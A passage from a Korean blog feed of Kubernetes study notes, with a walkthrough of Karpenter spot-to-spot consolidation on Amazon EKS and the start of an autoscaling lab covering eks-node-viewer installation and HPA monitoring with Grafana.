&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;134&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKwMt8/btsGqyu8e2e/VzzWHa6m3QnMmOhz4QZl71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKwMt8/btsGqyu8e2e/VzzWHa6m3QnMmOhz4QZl71/img.png&quot; data-alt=&quot;출처 :https://aws.amazon.com/ko/blogs/compute/applying-spot-to-spot-consolidation-best-practices-with-karpenter/&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKwMt8/btsGqyu8e2e/VzzWHa6m3QnMmOhz4QZl71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKwMt8%2FbtsGqyu8e2e%2FVzzWHa6m3QnMmOhz4QZl71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1210&quot; height=&quot;134&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;1210&quot; data-origin-height=&quot;134&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://aws.amazon.com/ko/blogs/compute/applying-spot-to-spot-consolidation-best-practices-with-karpenter/&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Spot-to-Spot &lt;b&gt;Consolidation&lt;/b&gt;에는 주문형 통합과 다른 접근 방식이 필요했습니다. 온디맨드 통합의 경우 규모 조정 및 최저 가격이 주요 지표로 사용됩니다.&lt;/li&gt;
&lt;li&gt;스팟 간 통합이 이루어지려면 Karpenter에는 최소 15개의 인스턴스 유형이 포함된 다양한 인스턴스 구성(연습에 정의된 NodePool 예제 참조)이 필요합니다. 이러한 제약 조건이 없으면 Karpenter가 가용성이 낮고 중단 빈도가 높은 인스턴스를 선택할 위험이 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 nodepool을 삭제하고 reuse-values 옵션을 사용해서 helm upgrade를 통해 &lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;Spot-to-Spot&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Consolidation&lt;/b&gt;를 활성화합니다. 또한 Consolidation 실습을 위해 nodepool과 샘플 파드 5개를 배포하면 c6gd.2xlarge 인스턴스가 생성되어 해당 노드에 5개의 파드가 배포되는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712370610749&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 기존 nodepool 삭제
kubectl delete nodepool,ec2nodeclass default

# v0.34.0 부터 featureGates 에 spotToSpotConsolidation 활성화로 사용 가능
helm upgrade karpenter -n kube-system oci://public.ecr.aws/karpenter/karpenter --reuse-values --set settings.featureGates.spotToSpotConsolidation=true

# Create a Karpenter NodePool and EC2NodeClass
cat &amp;lt;&amp;lt;EOF &amp;gt; nodepool.yaml
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    metadata:
      labels:
        intent: apps
    spec:
      nodeClassRef:
        name: default
      requirements:
        - key: karpenter.sh/capacity-type
          operator: In
          values: [&quot;spot&quot;]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: [&quot;c&quot;,&quot;m&quot;,&quot;r&quot;]
        - key: karpenter.k8s.aws/instance-size
          operator: NotIn
          values: [&quot;nano&quot;,&quot;micro&quot;,&quot;small&quot;,&quot;medium&quot;]
        - key: karpenter.k8s.aws/instance-hypervisor
          operator: In
          values: [&quot;nitro&quot;]
  limits:
    cpu: 100
    memory: 100Gi
  disruption:
    consolidationPolicy: WhenUnderutilized
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: Bottlerocket
  subnetSelectorTerms:          
    - tags:
        karpenter.sh/discovery: &quot;${CLUSTER_NAME}&quot; # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: &quot;${CLUSTER_NAME}&quot; # replace with your cluster name
  role: &quot;KarpenterNodeRole-${CLUSTER_NAME}&quot; # replace with your cluster name
  tags:
    Name: karpenter.sh/nodepool/default
    IntentLabel: &quot;apps&quot;
EOF
kubectl apply -f nodepool.yaml

# Deploy a sample workload
cat &amp;lt;&amp;lt;EOF &amp;gt; inflate.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 5
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      nodeSelector:
        intent: apps
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.2
          resources:
            requests:
              cpu: 1
              memory: 1.5Gi
EOF
kubectl apply -f inflate.yaml

watch -d &quot;kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type&quot;
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.31.53.png&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;478&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z8dt1/btsGratt5TR/PfINlRBkfAl8vl8q3kUOb0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z8dt1/btsGratt5TR/PfINlRBkfAl8vl8q3kUOb0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z8dt1/btsGratt5TR/PfINlRBkfAl8vl8q3kUOb0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz8dt1%2FbtsGratt5TR%2FPfINlRBkfAl8vl8q3kUOb0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1064&quot; height=&quot;478&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.31.53.png&quot; data-origin-width=&quot;1064&quot; data-origin-height=&quot;478&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.31.32.png&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;942&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JX6Ah/btsGre3GCBX/tqHe7kXdb1SL2tqurQ2CIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JX6Ah/btsGre3GCBX/tqHe7kXdb1SL2tqurQ2CIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JX6Ah/btsGre3GCBX/tqHe7kXdb1SL2tqurQ2CIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJX6Ah%2FbtsGre3GCBX%2FtqHe7kXdb1SL2tqurQ2CIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1602&quot; height=&quot;942&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.31.32.png&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;942&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드를 1개로 조정하면 최적화를 진행하는 모습을 확인할 수 있습니다. 인스턴스 타입이 c6gd.large로 최적화되었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1712371008734&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Scale in a sample workload to observe consolidation
# To invoke a Karpenter consolidation event scale, inflate the deployment to 1. Run the following command:
kubectl scale --replicas=1 deployment/inflate
kubectl -n kube-system logs -l app.kubernetes.io/name=karpenter --all-containers=true -f --tail=20
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type
kubectl get node --label-columns=eks.amazonaws.com/capacityType,karpenter.sh/capacity-type
kubectl get node --label-columns=node.kubernetes.io/instance-type,topology.kubernetes.io/zone

# Use kubectl get nodeclaims to list all objects of type NodeClaim and then describe the NodeClaim Kubernetes resource
# using kubectl get nodeclaim/&amp;lt;claim-name&amp;gt; -o yaml. 
# In the NodeClaim .spec.requirements, you can also see the 15 instance types passed to the Amazon EC2 Fleet API:
kubectl get nodeclaims 
NAME            TYPE        ZONE              NODE                                                READY   AGE
default-w52c4   c6g.large   ap-northeast-2d   ip-192-168-77-172.ap-northeast-2.compute.internal   True    3m8s

kubectl get nodeclaims -o yaml | kubectl neat | yh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.38.41.png&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nytzn/btsGqWvw1cF/EaF1ahNdRsn2BScxq6uC50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nytzn/btsGqWvw1cF/EaF1ahNdRsn2BScxq6uC50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nytzn/btsGqWvw1cF/EaF1ahNdRsn2BScxq6uC50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNytzn%2FbtsGqWvw1cF%2FEaF1ahNdRsn2BScxq6uC50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1184&quot; height=&quot;472&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.38.41.png&quot; data-origin-width=&quot;1184&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.39.08.png&quot; data-origin-width=&quot;1412&quot; data-origin-height=&quot;854&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9bjev/btsGpNfvsNm/QOcqrYHG11zdnjs3Kxdukk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9bjev/btsGpNfvsNm/QOcqrYHG11zdnjs3Kxdukk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9bjev/btsGpNfvsNm/QOcqrYHG11zdnjs3Kxdukk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9bjev%2FbtsGpNfvsNm%2FQOcqrYHG11zdnjs3Kxdukk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1412&quot; height=&quot;854&quot; data-filename=&quot;스크린샷 2024-04-06 오전 11.39.08.png&quot; data-origin-width=&quot;1412&quot; data-origin-height=&quot;854&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <author>imxsuu</author>
      <guid isPermaLink="true">https://imxsuu.tistory.com/12</guid>
      <comments>https://imxsuu.tistory.com/12#entry12comment</comments>
      <pubDate>Thu, 4 Apr 2024 15:57:28 +0900</pubDate>
    </item>
    <item>
      <title>[AEWS] AutoScaling</title>
      <link>https://imxsuu.tistory.com/11</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;실습환경 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습 환경은 &lt;a href=&quot;https://imxsuu.tistory.com/3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Amazon EKS 원클릭 배포&lt;/a&gt;를 통해 배포하였으며 기존의 환경에서 오토 스케일링을 위해 자원이 조금 더 제한된 t3.medium으로 배포되었습니다. 지난 시간에 학습한 프로메테우스와 그라파나의 환경설정 또한 포함되어 있습니다.자세한&amp;nbsp;CloudFormation의&amp;nbsp;내용은&amp;nbsp;링크를&amp;nbsp;통해&amp;nbsp;다운받아&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1711956205793&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick4.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;a href=&quot;https://github.com/awslabs/eks-node-viewer&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;EKS Node Viewer&lt;/a&gt; 설치&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #252525; text-align: start;&quot;&gt;예약된 파드 리소스 요청과 노드의 할당 가능한 용량을 표시합니다. 실제 파드의 리소스 사용량은 확인하지 않습니다. go 버전에 영향을 받으므로 가급적 최신버전 설치가 권장됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1711957407849&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# go 설치
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go version
go version go1.22.1 linux/amd64

# EKS Node Viewer 설치 : 약 2분 이상 소요
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [신규 터미널] EKS Node Viewer 접속
cd ~/go/bin &amp;amp;&amp;amp; ./eks-node-viewer
혹은
cd ~/go/bin &amp;amp;&amp;amp; ./eks-node-viewer --resources cpu,memory&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-01 오후 5.09.55.png&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/snaV6/btsGgaVCIoG/tDkZsbUfbjSH62G7E4dCz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/snaV6/btsGgaVCIoG/tDkZsbUfbjSH62G7E4dCz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/snaV6/btsGgaVCIoG/tDkZsbUfbjSH62G7E4dCz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsnaV6%2FbtsGgaVCIoG%2FtDkZsbUfbjSH62G7E4dCz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1158&quot; height=&quot;256&quot; data-filename=&quot;스크린샷 2024-04-01 오후 5.09.55.png&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1711957464563&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;명령 샘플
# Standard usage
./eks-node-viewer

# Display both CPU and Memory Usage
./eks-node-viewer --resources cpu,memory

# Karenter nodes only
./eks-node-viewer --node-selector &quot;karpenter.sh/provisioner-name&quot;

# Display extra labels, i.e. AZ
./eks-node-viewer --extra-labels topology.kubernetes.io/zone

# Specify a particular AWS profile and region
AWS_PROFILE=myprofile AWS_REGION=us-west-2

기본 옵션
# select only Karpenter managed nodes
node-selector=karpenter.sh/provisioner-name

# display both CPU and memory
resources=cpu,memory&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Kubernetes Autoscaling Overview&amp;nbsp;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2023-05-17 오후 12.48.01.png&quot; data-origin-width=&quot;2634&quot; data-origin-height=&quot;702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UInVh/btsGefqaqwP/EcGLJ8PDdHaAhlnpXflZk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UInVh/btsGefqaqwP/EcGLJ8PDdHaAhlnpXflZk0/img.png&quot; data-alt=&quot;CON324_Optimizing-Amazon-EKS-for-performance-and-cost-on-AWS.pdf 발췌&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UInVh/btsGefqaqwP/EcGLJ8PDdHaAhlnpXflZk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUInVh%2FbtsGefqaqwP%2FEcGLJ8PDdHaAhlnpXflZk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2634&quot; height=&quot;702&quot; data-filename=&quot;스크린샷 2023-05-17 오후 12.48.01.png&quot; data-origin-width=&quot;2634&quot; data-origin-height=&quot;702&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CON324_Optimizing-Amazon-EKS-for-performance-and-cost-on-AWS.pdf 발췌&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2023-05-17 오후 12.48.09.png&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceKEtC/btsGifBFyBb/vLkHobuQOF0GXgo2sWfuL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceKEtC/btsGifBFyBb/vLkHobuQOF0GXgo2sWfuL1/img.png&quot; data-alt=&quot;CON324_Optimizing-Amazon-EKS-for-performance-and-cost-on-AWS.pdf 발췌&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceKEtC/btsGifBFyBb/vLkHobuQOF0GXgo2sWfuL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceKEtC%2FbtsGifBFyBb%2FvLkHobuQOF0GXgo2sWfuL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2644&quot; height=&quot;594&quot; data-filename=&quot;스크린샷 2023-05-17 오후 12.48.09.png&quot; data-origin-width=&quot;2644&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CON324_Optimizing-Amazon-EKS-for-performance-and-cost-on-AWS.pdf 발췌&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2023-05-17 오후 12.49.46.png&quot; data-origin-width=&quot;504&quot; data-origin-height=&quot;539&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E1qGt/btsGg1KZmaR/GhlfmJyyJ8dCJHm5vIi3Yk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E1qGt/btsGg1KZmaR/GhlfmJyyJ8dCJHm5vIi3Yk/img.png&quot; data-alt=&quot;CON324_Optimizing-Amazon-EKS-for-performance-and-cost-on-AWS.pdf 발췌&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E1qGt/btsGg1KZmaR/GhlfmJyyJ8dCJHm5vIi3Yk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE1qGt%2FbtsGg1KZmaR%2FGhlfmJyyJ8dCJHm5vIi3Yk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;606&quot; data-filename=&quot;스크린샷 2023-05-17 오후 12.49.46.png&quot; data-origin-width=&quot;504&quot; data-origin-height=&quot;539&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;CON324_Optimizing-Amazon-EKS-for-performance-and-cost-on-AWS.pdf 발췌&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;HPA - Horizontal Pod Autoscaler&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kube-ops-view 와 그라파나(&lt;a style=&quot;color: #000000;&quot; href=&quot;https://grafana.com/grafana/dashboards/17125-kubernetes-horizontal-pod-autoscaler/&quot; data-token-index=&quot;1&quot;&gt;&lt;span&gt;17125&lt;/span&gt;&lt;/a&gt;)를 통해 모니터링을 하며 HPA 실습을 진행합니다. 해당 그라파나의 json은 아래의 더보기를 통해 전체 내용을 확인할 수 있습니다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;__inputs&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;__requires&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;grafana&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;grafana&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;Grafana&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;version&quot;:&amp;nbsp;&quot;6.1.6&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;panel&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;graph&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;Graph&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;version&quot;:&amp;nbsp;&quot;&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;datasource&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;Prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;version&quot;:&amp;nbsp;&quot;1.0.0&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;panel&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;singlestat&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;name&quot;:&amp;nbsp;&quot;Singlestat&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;version&quot;:&amp;nbsp;&quot;&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&quot;annotations&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;list&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;builtIn&quot;:&amp;nbsp;1,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;&quot;--&amp;nbsp;Grafana&amp;nbsp;--&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;enable&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hide&quot;:&amp;nbsp;true,&lt;br 